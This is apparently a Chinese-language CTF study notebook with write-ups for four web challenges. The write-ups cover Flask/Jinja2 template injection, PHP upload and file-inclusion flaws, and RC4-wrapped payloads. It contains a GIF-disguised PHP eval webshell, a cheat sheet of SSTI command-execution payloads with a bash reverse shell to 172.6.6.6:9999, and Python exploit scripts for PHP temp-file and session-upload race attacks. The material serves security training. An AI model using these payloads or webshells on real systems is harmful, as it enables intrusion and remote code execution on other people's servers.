刷题目录
[WUSTCTF2020]CV Maker
漏洞源码:
from flask import Flask, render_template_string, request
app = Flask(__name__)
app.secret_key = "fuk9dfuk5680fukbddbee2fuk"
@app.route('/', methods=['GET'])
def index():
name = 'Flask' + ' & ' + request.args.get("name", default="Flask")
//可以看到下面这行代码直接拼接了name参数的值,从而导致了ssti漏洞
template = """ {% extends "layout.html" %} {% block content %} <div class="content-section"> I ♥ """ + name + """ </div> {% endblock %}"""
return render_template_string(template)
if __name__ == '__main__':
app.run(debug=False)
标准姿势先register
虽然有mysql报错,但是不要被迷惑,继续
login
发现有头像
很熟悉的场景
试试文件上传
这里又出现exif_imagetype()
按照之前的.htaccess + payload文件上传没有成功
试试直接php伪造文件头
#shell.php
GIF89a12
<?php eval($_REQUEST['cmd']);?>
上传成功。但是上传路径在哪里找呢
学到了新姿势,检查元素
访问就可以拿到shell了
[RootersCTF2019]I_❤️_Flask
绝绝子,我一直在cat /f*
但是根目录下没有flag文件
原来是全局都没有
是flag.txt
拓宽思路 多多尝试
payload1:
/?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__==%27_IterationGuard%27%20%}{{%20c.__init__.__globals__[%27__builtins__%27][%27eval%27](%22__import__(%27os%27).popen(%27cat f*%27).read()%22)%20}}{%%20endif%20%}{%%20endfor%20%}
payload2:
/?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("cat f* /").read()') }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
终极payload:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}{% endif %}{% endfor %}
直接到到达flag.txt
路径下
pwd
一下
常见SSTI的payload收集
//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object
//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()
//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')
//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}
官方漏洞利用方法
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }} //poppen的参数就是要执行的命令
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
WAF绕过
python2:
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[40](filename).read()
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/172.6.6.6/9999 0>&1"')
python3:
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
"".__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('__global'+'s__')['os'].__dict__['system']('ls')
新姿势:
- Jinjia2模版注入
- Arjun参数爆破工具
- tplmap模版注入工具
[CISCN2019 华东南赛区]Double Secret
Welcome To Find Secret
- 目录扫描
/secrect
Tell me your secret.I will encrypt it so others can't see
-
传参
/secret?secret=
随便输入 -
报错jinjia2模板注入 + RC4加密脚本
app.py 源码:
if(secret==None):
return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure") #解密
deS=rc.do_crypt(secret)
a=render_template_string(safe(deS))
if 'ciscn' in a.lower():
return 'flag detected!'
return a
思路是rc4加密了secrect,再进行渲染
所以要触发flask stti rce 就要用密钥进行加密 ?
密钥:
HereIsTreasure
STTI payload:
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}
RC4加密脚本:
import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256)) # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
# print("res用于加密字符串,加密后是:%res" %res)
cipher = "".join(res)
print("加密后的字符串是:%s" %quote(cipher))
#print("加密后的输出(经过编码):")
#print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}")
在线工具加密的payload的行不通
做题思路总结
没有思路应该就转移到源码泄露
[NPUCTF2020]ezinclude
看了一眼源码+cookie的hash|完全没思路
md5===$pass
那不就是
$pass === md5
/?pass=fa25e54758d5d5c1927781a6ede89f8a
不看源码直接访问的话会重定向到404.html
- 文件包含
怎么都包含不到flag
【预期解】
这里只能利用php7 segment fault特性:
向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留
import requests
from io import BytesIO
url="http://f0af8aa4-9e9c-40a8-9003-175dbc6f69f8.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload="<?php phpinfo();?>"
files={
"file":BytesIO(payload.encode())
}
r=requests.post(url=url,files=files,allow_redirects=False)
print(r.text)
不小心传多了,虽然显示有问题,但是还是文件成功保留了
访问/dir.php找到临时文件名,并通过/flflflflag.php?file=/tmp/临时文件名进行代码执行
flag在phpinfo()中
【非预期解】
其实我第一反应也是session文件包含,但是没尝试
import io
import sys
import requests
import threading
host = 'http://2f25d437-13c2-423b-8ec6-ef5f599ae944.node4.buuoj.cn:81/flflflflag.php'
sessid = 'j1a'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
host,
data={
"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('ls /');fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');echo md5('1');?>"},
files={"file": ('a.txt', f)},
cookies={'PHPSESSID': sessid}
)
def READ(session):
while True:
response = session.get(f'{host}?file=/tmp/sess_{sessid}')
# print(response.text)
if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
网传exp,习惯性改id,表明懂原理
绕过了disabled function,笑死,结果flag不在这
做题思路总结
没有思路应该就转移到抓包看响应、源码泄露